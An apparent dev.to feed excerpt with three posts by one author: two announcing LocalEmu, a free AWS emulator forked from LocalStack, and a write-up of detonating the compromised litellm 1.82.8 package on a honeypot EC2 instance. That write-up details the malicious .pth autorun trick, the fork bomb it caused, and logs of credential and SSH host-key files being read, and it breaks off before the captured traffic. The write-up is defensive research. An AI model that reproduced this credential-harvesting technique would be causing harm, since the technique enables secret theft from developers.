&lt;p&gt;This is for local development, testing, and learning, not for production. What you get is the loop: write, run real code, see the result, adjust, repeat, at zero cost and with no account. For Lambda, running your code in the official runtime image is exactly the part you most want to be true locally, and it is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Try it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"localemu[runtime]"&lt;/span&gt;
localemu start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or run the multi-architecture Docker image (Intel and Apple Silicon):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4566:4566 &lt;span class="nt"&gt;-v&lt;/span&gt; /var/run/docker.sock:/var/run/docker.sock localemu/localemu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Documentation and runnable examples are at &lt;a href="https://localemu.cloud" rel="noopener noreferrer"&gt;&lt;strong&gt;https://localemu.cloud&lt;/strong&gt;&lt;/a&gt;. The source is at &lt;a href="https://github.com/localemu/localemu" rel="noopener noreferrer"&gt;&lt;strong&gt;https://github.com/localemu/localemu&lt;/strong&gt;&lt;/a&gt;, and it is free and open under Apache 2.0.&lt;/p&gt;

&lt;p&gt;If it is useful to you, a star on the repository, an issue, or a feature request genuinely helps the project grow. It is maintained in the open, and contributions are welcome.&lt;/p&gt;




</description>
      <category>softwaredevelopment</category>
      <category>aws</category>
      <category>serverless</category>
      <category>awslambda</category>
    </item>
    <item>
      <title>Meet LocalEmu, the free successor to LocalStack</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Thu, 28 May 2026 22:55:28 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/meet-localemu-the-free-successor-to-localstack-1hna</link>
      <guid>https://dev.to/tarekcheikh/meet-localemu-the-free-successor-to-localstack-1hna</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9c43ipquzp9d6l0i61up.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9c43ipquzp9d6l0i61up.png" alt="LocalEmu, an open-source AWS emulator for your laptop" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  An open-source AWS emulator for your laptop. No account, no token.
&lt;/h4&gt;

&lt;p&gt;For years, one tool sat quietly at the center of how I work with AWS.&lt;/p&gt;

&lt;p&gt;It let me build and test cloud applications on my own laptop, with no AWS account, no credentials, and no bill at the end of the month. I could create an S3 bucket, invoke a Lambda function, stand up a DynamoDB table, point Terraform at it, break everything, reset, and try again in seconds. It made AWS feel safe to experiment with. It saved me countless hours, and more than a few surprise charges.&lt;/p&gt;

&lt;p&gt;That tool was the open-source Community edition of LocalStack.&lt;/p&gt;

&lt;h3&gt;
  
  
  What changed
&lt;/h3&gt;

&lt;p&gt;In December 2025, LocalStack published a post called “The Road Ahead.” It explained that the way they delivered their AWS emulator was going to change. The free Community edition would be wound down, and the product would move to a single distribution that requires authentication.&lt;/p&gt;

&lt;p&gt;On March 23, 2026, the open-source GitHub repository was archived. It became read-only. The free Community edition is no longer actively maintained, and the current LocalStack distribution requires an account and an auth token to run. For a lot of people, continuous integration pipelines that had been pulling the public image for years broke overnight.&lt;/p&gt;

&lt;p&gt;I want to be fair here. LocalStack is a remarkable piece of engineering, built by a talented team over many years. Running a project that emulates the surface area of AWS is genuinely hard, and a company has every right to choose its own direction and to build a sustainable business. I am grateful for everything they created.&lt;/p&gt;

&lt;p&gt;But I also could not ignore a simple fact: the free, no-sign-up tool I reached for almost every day no longer had anyone carrying it forward.&lt;/p&gt;

&lt;h3&gt;
  
  
  The decision
&lt;/h3&gt;

&lt;p&gt;The Community edition was open source under the Apache 2.0 license. That license exists precisely for moments like this. It means the work can live on.&lt;/p&gt;

&lt;p&gt;So I decided to give it a new life.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LocalEmu&lt;/strong&gt; is a fork of the archived LocalStack Community edition. My goal is straightforward: keep a free, open AWS emulator alive and maintained, with no account and no token required, for the developers who want to learn, build, and test locally at zero cost.&lt;/p&gt;

&lt;p&gt;Today I am releasing LocalEmu 1.0.0.&lt;/p&gt;

&lt;h3&gt;
  
  
  What LocalEmu is
&lt;/h3&gt;

&lt;p&gt;LocalEmu emulates 132 AWS services on your machine. You do not learn a new API. You point the AWS CLI, boto3, Terraform, CDK, or Pulumi you already use at a single endpoint, &lt;code&gt;http://localhost:4566&lt;/code&gt;, and they work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"localemu[runtime]"&lt;/span&gt;
localemu start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Installation is just that one command. The one prerequisite is Docker: the services that run a real engine (Lambda, EC2, RDS, ECS, EKS, OpenSearch) use it to start their sidecar containers, so Docker needs to be installed and running. Everything else is pure Python and needs no Docker. No Java, no account, no token.&lt;/p&gt;

&lt;p&gt;What makes it more than a set of canned responses is that, where it counts, the behavior is real rather than stubbed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lambda runs your code inside the official AWS Lambda runtime images. Your handler executes for real.&lt;/li&gt;
&lt;li&gt;EC2 instances are real containers attached to a real virtual private cloud, with security groups enforced by actual packet filtering, not a lookup table that pretends.&lt;/li&gt;
&lt;li&gt;RDS gives you a real PostgreSQL or MySQL engine you can open a connection to with &lt;code&gt;psql&lt;/code&gt; or &lt;code&gt;mysql&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;IAM can evaluate your identity and resource policies using the real AWS policy logic and actually deny a request with &lt;code&gt;403 AccessDenied&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is also a built-in dashboard at &lt;code&gt;http://localhost:4566/_localemu/dashboard&lt;/code&gt; that shows your resources, a live feed of API calls, and a CloudTrail history, so you can see what your code is doing as it runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  What LocalEmu is not
&lt;/h3&gt;

&lt;p&gt;LocalEmu is for fast local development, testing, and learning. It is not where you run production, and it will not give you bit-for-bit parity with the real cloud. Its value is the iteration loop: try an idea, see it work or fail, and adjust in seconds, on a plane or in a coffee shop, with no account and no cost. Learn a service before you touch a real bill, and test your logic before you deploy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Try it
&lt;/h3&gt;

&lt;p&gt;The fastest way in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"localemu[runtime]"&lt;/span&gt;
localemu start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlg9k7ddadvz55ueanr1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftlg9k7ddadvz55ueanr1.png" alt="Start LocalEmu" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Give the AWS CLI local credentials and a region, then point it at LocalEmu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AKIAIOSFODNN7EXAMPLE
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east-1

aws &lt;span class="nt"&gt;--endpoint-url&lt;/span&gt; http://localhost:4566 s3 mb s3://my-bucket
aws &lt;span class="nt"&gt;--endpoint-url&lt;/span&gt; http://localhost:4566 dynamodb list-tables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn90nd3su3tfb42z7p295.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn90nd3su3tfb42z7p295.png" alt="Running AWS CLI commands against LocalEmu" width="797" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prefer Docker? The image is multi-architecture, so it runs natively on Intel and on Apple Silicon:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4566:4566 localemu/localemu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Documentation, a per-service reference, and runnable end-to-end examples are at &lt;a href="https://localemu.cloud" rel="noopener noreferrer"&gt;https://localemu.cloud&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Help it grow
&lt;/h3&gt;

&lt;p&gt;I am one person maintaining this right now, and a project like this lives or dies by its community.&lt;/p&gt;

&lt;p&gt;If LocalEmu is useful to you, the most valuable things you can do are simple: try it, and if it helps, star the repository so others can find it. Open an issue when something does not work. Tell me which services or behaviors matter most to you. And if you are able, contribute, whether that is code, documentation, examples, or just a clear bug report.&lt;/p&gt;

&lt;p&gt;The source is at &lt;a href="https://github.com/localemu/localemu" rel="noopener noreferrer"&gt;https://github.com/localemu/localemu&lt;/a&gt;, and runnable examples live at &lt;a href="https://github.com/localemu/localemu-examples" rel="noopener noreferrer"&gt;https://github.com/localemu/localemu-examples&lt;/a&gt;. It is free, and it is Apache 2.0, and it will stay that way.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To the LocalStack team and every contributor who came before me: thank you. LocalEmu stands on your shoulders, and I will do my best to be a good steward of the work you started.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now let us keep building locally.&lt;/p&gt;




</description>
      <category>emulator</category>
      <category>devops</category>
      <category>aws</category>
      <category>serverless</category>
    </item>
    <item>
      <title>We Detonated the Real LiteLLM Malware on EC2: Here’s What Happened</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Wed, 25 Mar 2026 03:27:48 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-3mje</link>
      <guid>https://dev.to/tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-3mje</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ztm31lgtzz3zu7905h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ztm31lgtzz3zu7905h.png" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;We obtained the actual compromised litellm 1.82.7 and 1.82.8 packages, set up a disposable EC2 instance with honeypot credentials and mitmproxy, and detonated the malware. This is what we captured.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why we did this
&lt;/h3&gt;

&lt;p&gt;Reading security advisories tells you what the malware is supposed to do. Running it tells you what it actually does. We wanted to see every file read, every network connection, every process fork, not from a report, but from our own logs.&lt;/p&gt;

&lt;p&gt;We also wanted to answer a practical question: &lt;strong&gt;on a real EC2 instance with typical developer credentials, how fast does the damage happen?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The answer is 3 seconds. But we’re getting ahead of ourselves.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lab setup
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The instance
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;EC2 t3.medium&lt;/strong&gt; (2 vCPU, 4 GB RAM), Ubuntu 22.04
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No IAM role&lt;/strong&gt; attached (to avoid real credential exposure)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security group&lt;/strong&gt; : SSH inbound only&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Tool | Purpose |
|-------------|--------------------------------------------------------|
| mitmproxy | Intercept and log all HTTPS traffic |
| inotifywait | Watch credential files for reads in real-time |
| strace | Trace every syscall (file opens, forks, network calls) |
| tcpdump | Capture raw packets (DNS, IMDS queries) |
| auditd | Kernel-level audit trail for credential file access |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The honeypot credentials
&lt;/h4&gt;

&lt;p&gt;We planted fake credentials in every location the malware is known to target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.ssh/id_rsa Fake SSH private key
~/.ssh/id_ed25519 Fake SSH private key
~/.ssh/config Fake SSH host configs
~/.aws/credentials Fake AWS access keys (two profiles)
~/.aws/config Fake AWS config with role ARN
~/.kube/config Fake Kubernetes cluster config
~/.env Fake API keys (OpenAI, Anthropic, Stripe, DB)
~/.git-credentials Fake GitHub token
~/.docker/config.json Fake Docker registry auth
~/.pgpass Fake PostgreSQL passwords
~/.my.cnf Fake MySQL credentials
~/.npmrc Fake npm token
~/project/terraform.tfvars Fake Terraform secrets
~/.bash_history Commands with "accidental" passwords
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every credential contains the word “HONEYPOT” or “FAKE” so we can easily identify them in captured traffic.&lt;/p&gt;

&lt;p&gt;We also set &lt;code&gt;**_AWS\_ACCESS\_KEY\_ID_**&lt;/code&gt; and &lt;code&gt;**_AWS\_SECRET\_ACCESS\_KEY_**&lt;/code&gt; in the shell environment, the malware checks environment variables too.&lt;/p&gt;

&lt;h4&gt;
  
  
  Starting the monitors
&lt;/h4&gt;

&lt;p&gt;Before installing anything malicious, we started all five monitoring tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# mitmproxy on port 8080&lt;/span&gt;
mitmdump &lt;span class="nt"&gt;-w&lt;/span&gt; ~/lab/captures/traffic.flow &lt;span class="nt"&gt;--set&lt;/span&gt; &lt;span class="nv"&gt;flow_detail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="nt"&gt;-p&lt;/span&gt; 8080 &amp;amp;

&lt;span class="c"&gt;# tcpdump for DNS, HTTPS, and IMDS traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-w&lt;/span&gt; ~/lab/captures/raw.pcap &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'port 53 or port 443 or port 80 or host 169.254.169.254'&lt;/span&gt; &amp;amp;

&lt;span class="c"&gt;# Filesystem watcher on all credential locations&lt;/span&gt;
inotifywait &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt; &lt;span class="s1"&gt;'%T %w%f %e'&lt;/span&gt; &lt;span class="nt"&gt;--timefmt&lt;/span&gt; &lt;span class="s1"&gt;'%H:%M:%S'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  ~/.ssh ~/.aws ~/.kube ~/.env ~/.docker ~/.pgpass ~/.npmrc /tmp/ &amp;amp;

&lt;span class="c"&gt;# Process tree snapshot every second&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ps auxf &lt;span class="nt"&gt;--cols&lt;/span&gt; 200&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;sleep &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; processes.log &amp;amp;

&lt;span class="c"&gt;# Audit rules for credential access&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; ~/.ssh/ &lt;span class="nt"&gt;-p&lt;/span&gt; r &lt;span class="nt"&gt;-k&lt;/span&gt; ssh_access
&lt;span class="nb"&gt;sudo &lt;/span&gt;auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; ~/.aws/ &lt;span class="nt"&gt;-p&lt;/span&gt; r &lt;span class="nt"&gt;-k&lt;/span&gt; aws_access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmk3n15kwgg5twtozfx0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frmk3n15kwgg5twtozfx0.png" width="799" height="495"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: All monitors running, process tree before detonation&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Run 1: The fork bomb
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Installation
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv ~/lab/malware-venv
&lt;span class="nb"&gt;source&lt;/span&gt; ~/lab/malware-venv/bin/activate
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-deps&lt;/span&gt; ~/lab/malware/litellm-1.82.8-py3-none-any.whl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;pip installs the package normally. No warnings, no errors. But now &lt;code&gt;**_litellm\_init.pth_**&lt;/code&gt; sits in &lt;code&gt;**_site-packages/_**&lt;/code&gt;, armed and waiting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;find ~/lab/malware-venv &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pth"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;span class="go"&gt;-rw-rw-r-- 1 ubuntu ubuntu 34628 litellm_init.pth
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;34,628 bytes of base64-encoded malware, ready to fire on the next Python command.&lt;/p&gt;

&lt;h4&gt;
  
  
  Detonation
&lt;/h4&gt;

&lt;p&gt;We set the proxy environment variables so traffic routes through mitmproxy, then trigger:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:8080
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"print('hello world')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A completely innocent command. And then the machine starts dying.&lt;/p&gt;

&lt;h4&gt;
  
  
  The fork bomb in real-time
&lt;/h4&gt;

&lt;p&gt;The filesystem watcher lit up immediately:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvoxtdy27h1phl5r140yt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvoxtdy27h1phl5r140yt.png" width="800" height="492"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Filesystem log showing pip install followed by the .pth triggering&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The process monitor captured the exponential growth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22:19:11 -&amp;gt; 3 python3 processes (normal: mitmproxy + system)
22:19:12 -&amp;gt; 14 DETONATION
22:19:13 -&amp;gt; 55 exponential growth
22:19:14 -&amp;gt; 83
22:19:15 -&amp;gt; 133
22:19:16 -&amp;gt; 157
22:19:18 -&amp;gt; 194
22:19:19 -&amp;gt; 220
22:19:20 -&amp;gt; 272
22:19:25 -&amp;gt; 390
22:19:30 -&amp;gt; 509
22:19:50 -&amp;gt; 891
                                     machine dead
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3 to 891 Python processes in 38 seconds.&lt;/strong&gt; Each &lt;code&gt;**_.pth_**&lt;/code&gt; trigger spawns a &lt;code&gt;**_Popen_**&lt;/code&gt;, which starts a new Python, which triggers the &lt;code&gt;**_.pth_**&lt;/code&gt; again.&lt;/p&gt;

&lt;p&gt;SSH became unresponsive. We couldn’t even run &lt;code&gt;**_kill_**&lt;/code&gt;. We had to force stop the instance from the AWS Console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkakwir3w9pbzhe53w0r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkakwir3w9pbzhe53w0r.png" width="800" height="420"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: AWS Console showing the instance in “Stopping” state after the fork bomb&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  But the credentials were already stolen
&lt;/h4&gt;

&lt;p&gt;Even during the chaos, every forked process ran the harvester independently. The filesystem log shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22:19:14 .ssh/id_rsa OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .ssh/id_ed25519 OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .ssh/config OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .git-credentials OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .gitconfig OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .aws/credentials OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .aws/config OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:14 .env OPEN, ACCESS, CLOSE &amp;lt;- STOLEN
22:19:15 .docker/ OPEN, ACCESS, CLOSE &amp;lt;- SCANNED
22:19:15 .kube/ OPEN, ACCESS, CLOSE &amp;lt;- SCANNED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;All credentials harvested in under 2 seconds.&lt;/strong&gt; Then each of the 891 forked processes tried to do the same thing again, which is what consumed all the memory.&lt;/p&gt;

&lt;p&gt;The strace log confirmed it at the syscall level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5128 22:19:14.293419 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_rsa", O_RDONLY)
5128 22:19:14.308065 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_ed25519", O_RDONLY)
5128 22:19:14.641115 openat(AT_FDCWD, "/etc/ssh", O_RDONLY|O_DIRECTORY)
5128 22:19:14.656340 openat(AT_FDCWD, "/etc/ssh/ssh_host_ecdsa_key", O_RDONLY)
5128 22:19:14.660708 openat(AT_FDCWD, "/etc/ssh/ssh_host_ed25519_key", O_RDONLY)
5128 22:19:14.666879 openat(AT_FDCWD, "/etc/ssh/ssh_host_rsa_key", O_RDONLY)
5128 22:19:14.804001 openat(AT_FDCWD, "/home/ubuntu/.aws/credentials", O_RDONLY)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malware even went after the &lt;strong&gt;system SSH host keys&lt;/strong&gt; in &lt;code&gt;**_/etc/ssh/_**&lt;/code&gt;. On a server, this means the attacker could impersonate it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recovery
&lt;/h3&gt;

&lt;p&gt;To recover from the fork bomb:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Force stop&lt;/strong&gt; the instance from AWS Console (SSH is dead)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Start&lt;/strong&gt; it again (it gets a new public IP)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Immediately&lt;/strong&gt; SSH in and delete the .pth: &lt;code&gt;**_rm ~/lab/malware-venv/lib/python3.10/site-packages/litellm\_init.pth_**&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The instance is now safe&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The .pth file lives inside the venv, not the system Python. So a regular &lt;code&gt;**_python3_**&lt;/code&gt; outside the venv won’t trigger it. But you must delete it before activating the venv again.&lt;/p&gt;

&lt;h3&gt;
  
  
  Run 2: Controlled detonation
&lt;/h3&gt;

&lt;p&gt;With the .pth bomb defused, we ran the decoded payload directly, single process, no fork bomb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:8080
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AKIAHONEYPOT_ENV_VAR_X
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;FAKE_ENV_SECRET_FOR_LAB

python3 ~/lab/malware/decoded_payload.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  What mitmproxy captured
&lt;/h4&gt;

&lt;p&gt;This is the single most important piece of evidence from the lab:&lt;/p&gt;

